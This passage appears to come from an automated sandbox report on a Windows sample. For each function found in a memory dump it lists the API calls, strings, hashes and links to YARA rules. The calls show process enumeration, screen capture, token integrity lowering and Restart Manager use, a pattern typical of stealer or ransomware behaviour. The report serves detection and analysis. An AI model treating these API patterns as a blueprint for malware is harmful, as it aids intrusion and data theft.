Opcode ID: a95838d02651622ec2b93a63c01ea7dfa1a113299c58d355057e001058f0873a
Instruction ID: 2f8b420fdd867a1e0670963ef82285176040185a82103c012b471095ce35ffac
Opcode Fuzzy Hash: a95838d02651622ec2b93a63c01ea7dfa1a113299c58d355057e001058f0873a
Instruction Fuzzy Hash: 80A13432A145459FDF99EF68EC59BBE3BA2EB06320F180149F811DF391D735881AC761

Function 06D5ED40 Relevance: 16.6, APIs: 11, Instructions: 111memorywindowCOMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(00000000), ref: 06D5ED9A
SysFreeString.OLEAUT32(00000000), ref: 06D5EDB8
SysFreeString.OLEAUT32(00000000), ref: 06D5EDCC
SysFreeString.OLEAUT32(00000000), ref: 06D5EDE4
SysStringLen.OLEAUT32(00000000), ref: 06D5EDF5
SysFreeString.OLEAUT32(00000000), ref: 06D5EE07
SysFreeString.OLEAUT32(00000000), ref: 06D5EE1B
SysFreeString.OLEAUT32(00000000), ref: 06D5EE2F
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,00000000), ref: 06D5EE52
GetProcessHeap.KERNEL32(00000000,00000000,00000000), ref: 06D5EE72
HeapFree.KERNEL32(00000000,00000000,00000000,00000000), ref: 06D5EE78

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: String$Free$Heap$FormatMessageProcess
String ID:
API String ID: 441299210-0
Opcode ID: f3197176b1e5f4f0dee9fcd9c19c2c3d8f92eb3ef77885e273d2ff28d17033f0
Instruction ID: f02fc810aa246f2a9798b47ad75fdb40752d759406d4109a00575890cf0f4c0e
Opcode Fuzzy Hash: f3197176b1e5f4f0dee9fcd9c19c2c3d8f92eb3ef77885e273d2ff28d17033f0
Instruction Fuzzy Hash: 7731EC70E00218ABDF90EFA5CD44B9EB7B9EF44A50F118459E815E7681D774EB14CBA0

Function 06D2F630 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 228memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 06D2F8DF
GetProcAddress.KERNEL32(?,?), ref: 06D2F8F0
GetProcessHeap.KERNEL32 ref: 06D2F900
HeapAlloc.KERNEL32(00000000,00000000,?), ref: 06D2F926
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 06D2F95A
HeapAlloc.KERNEL32(00000000,00000000,10000000), ref: 06D2F980
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 06D2F99B

Strings

C{iN, xrefs: 06D2F66D
J'tq, xrefs: 06D2F80C

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Heap$AllocFree$AddressHandleModuleProcProcess
String ID: C{iN$J'tq
API String ID: 685132064-1256937504
Opcode ID: 63fec542ee2de549fd8aa1493f8ea6ff00c5b54048930cf9bc1cec020abbe619
Instruction ID: d63c2b643d5a753b6150e649da039aab4e0bfb93262e8b79e211d405557a7e34
Opcode Fuzzy Hash: 63fec542ee2de549fd8aa1493f8ea6ff00c5b54048930cf9bc1cec020abbe619
Instruction Fuzzy Hash: 28C1E174D04298DBDB26CFA8C841AEDFBB1BF58304F14829AD989B7315E7305A85CF51

Function 06D622F0 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 351threadCOMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 06D622F5

Part of subcall function 06D633BA: std::invalid_argument::invalid_argument.LIBCONCRT ref: 06D633C6

GetCurrentThreadId.KERNEL32 ref: 06D62466

Strings

vector too long, xrefs: 06D622F0

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CurrentThreadXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: vector too long
API String ID: 3461298183-2873823879
Opcode ID: 6e840a23c86810893c5a07873765cfef0cbb4d957a038a0c4bd556440a9e44d7
Instruction ID: d070ec3d5e561e8eb4a24d953862bc3a7d682fe4c1b8a87db619ebe9eb4a118e
Opcode Fuzzy Hash: 6e840a23c86810893c5a07873765cfef0cbb4d957a038a0c4bd556440a9e44d7
Instruction Fuzzy Hash: 55D18E71A002099FDB64DF69CC84BEAB7B9FF49304F04459DF95997290DB30AA84CFA1

Function 06D3DE7D Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 231COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 06D3EC00
ChildWindowFromPoint.USER32(?,?,?), ref: 06D3EC15
RealGetWindowClassA.USER32(00000000,?,00000104,?,?,?,?,?), ref: 06D3EC4A
RealGetWindowClassA.USER32(?,?,00000104,?,?,?,?,?,?,?,?), ref: 06D3EC79

Strings

TluK, xrefs: 06D3EE13
TluK, xrefs: 06D3ECBB

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Window$ClassReal$ChildClientFromPointScreen
String ID: TluK$TluK
API String ID: 3340434968-395936477
Opcode ID: b44e61ff060f479623930dbd317c416dfa059e3c89cd0647157ecc25ec17a780
Instruction ID: a01051043abcb644d76bf7eddc1d08d479810f56336d70590c0cb5063e0b99d4
Opcode Fuzzy Hash: b44e61ff060f479623930dbd317c416dfa059e3c89cd0647157ecc25ec17a780
Instruction Fuzzy Hash: 43C125B4D092A89BDB25CF28DC84AE9BBB5BF59300F0481DAE58CA7241DB305BC5CF51

Function 06D85B63 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,06D854CF), ref: 06D85B7C

Strings

acos, xrefs: 06D85CB2
exp, xrefs: 06D85BFB, 06D85C60
log10, xrefs: 06D85BBE, 06D85BCD
log, xrefs: 06D85BD9, 06D85BE8
sqrt, xrefs: 06D85CBB
asin, xrefs: 06D85CA9
pow, xrefs: 06D85C1A, 06D85CC4, 06D85D11

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 9bdcf8150a7dcfbf04bc5964833da50d5282d3982a07ba7b885548199d172b78
Instruction ID: bb21a6131a57436dd3736cef2ce92a4aa6d841014ff527197cf4c8825c27bc7b
Opcode Fuzzy Hash: 9bdcf8150a7dcfbf04bc5964833da50d5282d3982a07ba7b885548199d172b78
Instruction Fuzzy Hash: C6517B7180060ADFEFD0AFA9F88C5ADBFB5FF88214F454044D892AB295C7349628CF95

Function 06D6533A Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 06D65340
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 06D6534E
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 06D6535F
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 06D65370

Strings

kernel32.dll, xrefs: 06D6533B
GetCurrentPackageId, xrefs: 06D65348
GetSystemTimePreciseAsFileTime, xrefs: 06D65354
GetTempPath2W, xrefs: 06D65365

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 7a92b534743048a51efaca9e903acdfeeeff7381ec59b18f759e6168bdbcd35b
Instruction ID: 29b1df6646578d37c3a6e287727501f2b5b8cc61631c0e61b49d571b18468198
Opcode Fuzzy Hash: 7a92b534743048a51efaca9e903acdfeeeff7381ec59b18f759e6168bdbcd35b
Instruction Fuzzy Hash: 5FE086B1561310BF8B506F7DBC2D9A53BBBFA88611309001AF742EA300D6744005CBE1

Function 06D29590 Relevance: 13.7, APIs: 9, Instructions: 172memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000001C,06D9102C), ref: 06D295F0
SetupDiEnumDeviceInfo.SETUPAPI(00000000,06D299F4,00000000), ref: 06D2960E
LocalAlloc.KERNEL32(00000040,0000001C), ref: 06D29649
SetupDiEnumDeviceInterfaces.SETUPAPI(00000000,00000000,06D89500,06D299F4,00000000), ref: 06D2966E

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AllocDeviceEnumLocalSetup$InfoInterfaces
String ID:
API String ID: 1562706109-0
Opcode ID: 4b1017d7f89a79f994127452375a0fa3f9ddd5a68c5358b7c9fabea78c9f71a9
Instruction ID: f3d97d92d422da20ba3d4c981907c6c9c6c4b44e3f86eae503d7d5ce54dc5104
Opcode Fuzzy Hash: 4b1017d7f89a79f994127452375a0fa3f9ddd5a68c5358b7c9fabea78c9f71a9
Instruction Fuzzy Hash: 4E7109B0E00209EFDB54DF99D895BEEBBB5FF48314F108118E525AB390D735AA01CBA4

Function 06D695C0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 06D696DF
___TypeMatch.LIBVCRUNTIME ref: 06D697ED
_UnwindNestedFrames.LIBCMT ref: 06D6993F
CallUnexpected.LIBVCRUNTIME ref: 06D6995A

Strings

csm, xrefs: 06D69716
csm, xrefs: 06D695FD
csm, xrefs: 06D6966A

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c2cfa990ac712856ea9aa34a54fb9281d20255e159dc8a9a8d7684dbe6cf6cbf
Instruction ID: 029db245ca7b7c4a6e158206b27a523aab6bb93342fd57b820a6aa3a315c0969
Opcode Fuzzy Hash: c2cfa990ac712856ea9aa34a54fb9281d20255e159dc8a9a8d7684dbe6cf6cbf
Instruction Fuzzy Hash: 82B16871C0020AEFCFA9DFA6C8A09AEBBB5FF04314B14415AF8256F211D731DA51CBA1

Function 06D7AF86 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 06D7B200, 06D7B205

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 1d2348d814706dbfa92f9b9054c04ceebcf253ba5590563a21d78db0c187377e
Instruction ID: 9ef9f8697cb6544888f667e2793d02f9cc41bac2714183c52b2c7afea20c90df
Opcode Fuzzy Hash: 1d2348d814706dbfa92f9b9054c04ceebcf253ba5590563a21d78db0c187377e
Instruction Fuzzy Hash: 84B10670E04249AFDB91DFA9D884BBD7BB2FF46314F04415AE9509B381E7709941CBA2

Function 06D28E80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 06D28EB4
Process32First.KERNEL32(000000FF,00000128), ref: 06D28EEC
OpenProcess.KERNEL32(00001000,00000000,?), ref: 06D28FDF
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 06D29016
CloseHandle.KERNEL32(00000000), ref: 06D29020

Strings

I{uo, xrefs: 06D28F1B

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CloseCreateFileFirstHandleModuleNameOpenProcessProcess32SnapshotToolhelp32
String ID: I{uo
API String ID: 1316278611-280608352
Opcode ID: 8591fbf1aff72eac4262e936d3b1fe67acd6d7ee6792d8e3c99004075e47432e
Instruction ID: 0937ff37a8bbeb0586764b1de935e75e6bbf8b467c6e2632c9852d063b2f9e2a
Opcode Fuzzy Hash: 8591fbf1aff72eac4262e936d3b1fe67acd6d7ee6792d8e3c99004075e47432e
Instruction Fuzzy Hash: 6D617E70D0425CAFDB41CFA9D895AEDFBB1BF58300F148199E949BB340E7309A85CB61

Function 06D2C200 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

SaferCreateLevel.ADVAPI32(00000002,00020000,00000001,00000000,00000000), ref: 06D2C23B
SaferComputeTokenFromLevel.ADVAPI32(00000000,00000000,00000000,00000000,00000000), ref: 06D2C27B
ConvertStringSidToSidA.ADVAPI32(S-1-16-8192,00000000), ref: 06D2C2A0
SetTokenInformation.ADVAPI32(00000000,00000019,00000000,00000008), ref: 06D2C2D5
SaferCloseLevel.ADVAPI32(00000000), ref: 06D2C363
LocalFree.KERNEL32(00000000), ref: 06D2C373

Strings

S-1-16-8192, xrefs: 06D2C29B

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: LevelSafer$Token$CloseComputeConvertCreateFreeFromInformationLocalString
String ID: S-1-16-8192
API String ID: 3581683870-1480721295
Opcode ID: c061d7e85eb77d8d01a46bb6d834dfaac623a49dc4a1983b02291e30f92cc991
Instruction ID: b1d8a35265b9214e6b770ca0e69c433f6d414c05f92fcc2145473890bf3321c0
Opcode Fuzzy Hash: c061d7e85eb77d8d01a46bb6d834dfaac623a49dc4a1983b02291e30f92cc991
Instruction Fuzzy Hash: 47411AB0E10319EFEB60CFD9DC59BEEB7B8BB08714F104519E511AA280C7799905CBA4

Function 06D82F92 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,00000001,7FFFFFFF,?,06D83262,00000000,00000000,?,00000001,?,?,?,?,00000001,?), ref: 06D83038
__alloca_probe_16.LIBCMT ref: 06D830F3
__alloca_probe_16.LIBCMT ref: 06D83182
__freea.LIBCMT ref: 06D831CD
__freea.LIBCMT ref: 06D831D3
__freea.LIBCMT ref: 06D83209
__freea.LIBCMT ref: 06D8320F
__freea.LIBCMT ref: 06D8321F

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 2779adfc8fe7a1a3be8e52e2aea5304a430c38d2f9268d28cedb5ae4aac4a7a1
Instruction ID: c636ae8793de3f0a91562c8e27f537bc6a6799f08d9d75840925aae46d19076a
Opcode Fuzzy Hash: 2779adfc8fe7a1a3be8e52e2aea5304a430c38d2f9268d28cedb5ae4aac4a7a1
Instruction Fuzzy Hash: 82711572D002099FDFB0AFE58C48BAE77B9DF49F10F160459E918A7281EB75D940C7A1

Function 06D65150 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 06D65199
__alloca_probe_16.LIBCMT ref: 06D651C5
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 06D65204
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 06D65221
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 06D65260
__alloca_probe_16.LIBCMT ref: 06D6527D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 06D652BF
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 06D652E2

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: c768bd36a65ac1764dd34d3b1164d81d8cb65a9991e6f1cefbbc0ba90e0ed56a
Instruction ID: 142e64f6fff11744a778d21b557b75ee81c651e13cdb5dd93b69ee296f447844
Opcode Fuzzy Hash: c768bd36a65ac1764dd34d3b1164d81d8cb65a9991e6f1cefbbc0ba90e0ed56a
Instruction Fuzzy Hash: CA51BE7290020AFFEFB04FA6EC44FAB7BA9EB48750F554525F911EA190D734D990CBA0

Function 06D5EB70 Relevance: 12.2, APIs: 8, Instructions: 175memoryCOMMON

Download Yara Rule

APIs

GetErrorInfo.OLEAUT32(00000000,00000000,00000000,00000040,00000044,?,?,06D5F3E6,?), ref: 06D5EBA4
SysFreeString.OLEAUT32(?), ref: 06D5EC20
SysStringLen.OLEAUT32(00000000), ref: 06D5EC92
GetProcessHeap.KERNEL32(-000000F0,?,00000000,?,?,06D5F3E6), ref: 06D5ECCC
HeapFree.KERNEL32(00000000,-000000F0,?,00000000,?,?,06D5F3E6), ref: 06D5ECD2
GetProcessHeap.KERNEL32(-000000F0,00000000,00000000,00000000,?,?,06D5F3E6), ref: 06D5ECF4
HeapFree.KERNEL32(00000000,-000000F0,00000000,00000000,00000000,?,?,06D5F3E6), ref: 06D5ECFA
SysFreeString.OLEAUT32(00000000), ref: 06D5ED07

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: FreeHeap$String$Process$ErrorInfo
String ID:
API String ID: 3725924239-0
Opcode ID: ef5f3c4644180ae1a7d96ac257dc833b9dede1e6a4902f69b9cbe6299ccda62e
Instruction ID: 70c4138127c9c9ae24a58c90e2ee92ff5bd7794bf4f398496622eb8e10b0fd15
Opcode Fuzzy Hash: ef5f3c4644180ae1a7d96ac257dc833b9dede1e6a4902f69b9cbe6299ccda62e
Instruction Fuzzy Hash: BB517074A00209AFDF94EFA5C884BAEBBB4EF44711F15455DE852A7680D734EB00CBA0

Function 06D778AE Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 06D77934

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ac2071a61d0904ec7af98bdf1ccc143a54cffb477e847b84309bc600bbcc1bb5
Instruction ID: 120777629b96f108b01412cd7f53e9cc6ce88c3c554f3d458c3166f09edbde09
Opcode Fuzzy Hash: ac2071a61d0904ec7af98bdf1ccc143a54cffb477e847b84309bc600bbcc1bb5
Instruction Fuzzy Hash: 98B14732E013569FEB918F64CC81BBE7BA5EF55310F144956E954AB281F370E901C7A2

Function 06D69040 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 06D69077
___except_validate_context_record.LIBVCRUNTIME ref: 06D6907F
_ValidateLocalCookies.LIBCMT ref: 06D69108
__IsNonwritableInCurrentImage.LIBCMT ref: 06D69133
_ValidateLocalCookies.LIBCMT ref: 06D69188

Strings

csm, xrefs: 06D6911D

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 487752960a27e5af0f806db7ead8bbfc7f62f02782b837b5a633d33b320777c9
Instruction ID: 041149744ad9409e89a6f2530333bbd7fc0ec2f36cea819aed03a30fa73bb232
Opcode Fuzzy Hash: 487752960a27e5af0f806db7ead8bbfc7f62f02782b837b5a633d33b320777c9
Instruction Fuzzy Hash: 55419074E0020AAFCF90DF6AC894A9EBBB5EF45324F148055F928AB351D736D915CBA0

Function 06D2D6B0 Relevance: 10.6, APIs: 7, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 06D2D73C
GetSystemMetrics.USER32(00000001), ref: 06D2D74A
GetDC.USER32(00000000), ref: 06D2D758
CreateCompatibleDC.GDI32(00000000), ref: 06D2D76B
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 06D2D789
SelectObject.GDI32(?,?), ref: 06D2D7A3
ReleaseDC.USER32(00000000,00000000), ref: 06D2D7AF

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CompatibleCreateMetricsSystem$BitmapObjectReleaseSelect
String ID:
API String ID: 1591331490-0
Opcode ID: bd056781e363efd1b5ede329e2aa36be279c3503ddfb7046db7b8649682061e1
Instruction ID: 7edd2996cbf512b21d880b5ee7a52a42b42a31946fa8d86b364cf8f9a15e2477
Opcode Fuzzy Hash: bd056781e363efd1b5ede329e2aa36be279c3503ddfb7046db7b8649682061e1
Instruction Fuzzy Hash: 8F417578A00208EFDB44CF94C598AAEBBB5FF48304F208189E9059B391C775EE42DF90

Function 06D74CA8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,06D55FE8,?,AC55FB4A,?,06D74DB7,06D55FE8,06D654A8,00000000,06D55FE8), ref: 06D74D69

Strings

api-ms-, xrefs: 06D74CFF
ext-ms-, xrefs: 06D74D13

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 781501aa35c65633e31d162919242735a26e03a6ec103b9e943895ac450028dd
Instruction ID: 38f11ba353091e0af1f69f83351a46a7804c16cb052a7f89ea47fb68c03c2041
Opcode Fuzzy Hash: 781501aa35c65633e31d162919242735a26e03a6ec103b9e943895ac450028dd
Instruction Fuzzy Hash: CA213D32E51210BFDB639724DC49AAA73E9DB81774F150110ED95A7380FB74ED00C6E6

Function 06D63454 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 06D6345B
std::_Lockit::_Lockit.LIBCPMT ref: 06D63465
int.LIBCPMTD ref: 06D6347C

Part of subcall function 06D229D0: std::_Lockit::_Lockit.LIBCPMT ref: 06D229E6
Part of subcall function 06D229D0: std::_Lockit::~_Lockit.LIBCPMT ref: 06D22A10

codecvt.LIBCPMT ref: 06D6349F
std::_Facet_Register.LIBCPMT ref: 06D634B6
std::_Lockit::~_Lockit.LIBCPMT ref: 06D634D6
Concurrency::cancel_current_task.LIBCPMTD ref: 06D634E3

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 77496ff2e1148194568f579a0e416fbe0ac3c356eb2c76a6419e908759b792b1
Instruction ID: e52b86ea6f0c98a96378bcee655e6242529d6a79616c9a40226a683e37658839
Opcode Fuzzy Hash: 77496ff2e1148194568f579a0e416fbe0ac3c356eb2c76a6419e908759b792b1
Instruction Fuzzy Hash: 2211A2719002199FCBC5EF69DC146AEB7F5EF58320F154409F465AB380DBB5AA04CBA0

Function 06D861C1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,06D8623C,06D863E5), ref: 06D861D8
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 06D861EE
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 06D86203

Strings

ReleaseSRWLockExclusive, xrefs: 06D861F8
KERNEL32.DLL, xrefs: 06D861D3
AcquireSRWLockExclusive, xrefs: 06D861E8

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 997732ed57338ddff2d5fd42c2a75192ae9ad8e9c36d0c6a1daa82abed59b828
Instruction ID: 8ebce2b92b36585aa05be285fcbb481cb17e7fbed6077dcca50cbb532fc6b949
Opcode Fuzzy Hash: 997732ed57338ddff2d5fd42c2a75192ae9ad8e9c36d0c6a1daa82abed59b828
Instruction Fuzzy Hash: 39F02876B522B26F1FF06F64289D33732DA6B01A7034540B9EA42DB300D328C800C7A0

Function 06D61E10 Relevance: 9.2, APIs: 6, Instructions: 225memoryCOMMON

Download Yara Rule

APIs

_Min_value.LIBCPMTD ref: 06D61E8B
char_traits.LIBCPMTD ref: 06D61E94
_Min_value.LIBCPMTD ref: 06D61F1E
char_traits.LIBCPMTD ref: 06D61F27
_Min_value.LIBCPMTD ref: 06D61F87
_Allocate.LIBCONCRTD ref: 06D61FD8

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Min_value$char_traits$Allocate
String ID:
API String ID: 2548426506-0
Opcode ID: 2e0106879e05e084d9fafcc9a2fb3b48e0066a8bb3e2ac15bdb2d7b66d8f8002
Instruction ID: ba2b55f03e2051c181ff98952c4031e98f832758e8f53da69789301c67a223cc
Opcode Fuzzy Hash: 2e0106879e05e084d9fafcc9a2fb3b48e0066a8bb3e2ac15bdb2d7b66d8f8002
Instruction Fuzzy Hash: E6814EB5D002099FCF44DFA5C980AEEBBB4FF48354F148169E915AB351E735AA04CBB0

Function 06D61C80 Relevance: 9.1, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

_Min_value.LIBCPMTD ref: 06D61CEC
char_traits.LIBCPMTD ref: 06D61CF5
_Min_value.LIBCPMTD ref: 06D61D5C
char_traits.LIBCPMTD ref: 06D61D65
_Min_value.LIBCPMTD ref: 06D61DA6
char_traits.LIBCPMTD ref: 06D61DAF

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Min_valuechar_traits
String ID:
API String ID: 2741276419-0
Opcode ID: 9454a10fee3ec10c0b754a66ca2468713fa5857fec215996184e29ca626e85c0
Instruction ID: 31c413f747ca3be576f1f96339d503ffa5d36007eb5994ebc25a620c5e964f1f
Opcode Fuzzy Hash: 9454a10fee3ec10c0b754a66ca2468713fa5857fec215996184e29ca626e85c0
Instruction Fuzzy Hash: 6E511A75D00208EFCF55DFA9C8809AEBBF5FB89300F1585A9E9569B751D730AA04CFA0

Function 06D309F0 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

RmStartSession.RSTRTMGR(?,00000000,?), ref: 06D30A43
RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 06D30AD0
